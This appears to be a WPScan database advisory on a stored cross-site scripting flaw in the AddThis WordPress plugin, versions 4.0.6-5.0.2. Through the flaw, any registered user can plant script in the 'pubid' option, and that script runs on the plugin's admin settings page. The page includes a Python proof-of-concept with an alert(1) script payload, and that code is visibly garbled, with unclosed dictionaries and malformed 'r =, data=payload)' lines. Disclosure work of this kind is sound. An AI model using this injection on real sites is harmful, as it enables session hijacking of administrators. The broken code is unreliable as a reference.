Smart Website Tools by AddThis 4.0.6-5.0.2 - Stored XSS

The Smart Website Tools by AddThis plugin exposes an AJAX function called ‘at_async_loading’ in ‘addthis/addthis-for-wordpress.php’.

Access to this function is restricted to Registered users, however is not restricted to Administrative users, meaning that anyone with an account on the target site can access this function.

Neither is the input into the ‘pubid’ parameter sanitized, meaning that arbitrary HTML or JavaScript code can be inserted. This code is then executed when a user visits the Settings page for this plugin (wp-admin/options-general.php?page=addthis_social_widget).
Proof of Concept
When executed, the following PoC will override the ‘pubid’ option with a malicious payload, which will allow execution of arbitrary JavaScript if a user visits the options page for the plugin (wp-admin/options-general.php?page=addthis_social_widget).

import requests
s = requests.session()
target = 'http://localhost'

url = '%s/wp-login.php'%target
payload = {
r =, data=payload)

url = '%s/wp-admin/admin-ajax.php'%target
payload = {
        "pubid":"'><script>alert(1)</script '"
r =, data=payload)

Affects Plugin

fixed in version 5.0.3




Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)


Submitter James Hooker
Submitter Website
Submitter Twitter g0blinResearch
Views 3709
Verified No


Publicly Published 2015-06-10 (almost 4 years ago)
Added 2015-06-10 (almost 4 years ago)
Last Updated 2015-06-10 (almost 4 years ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.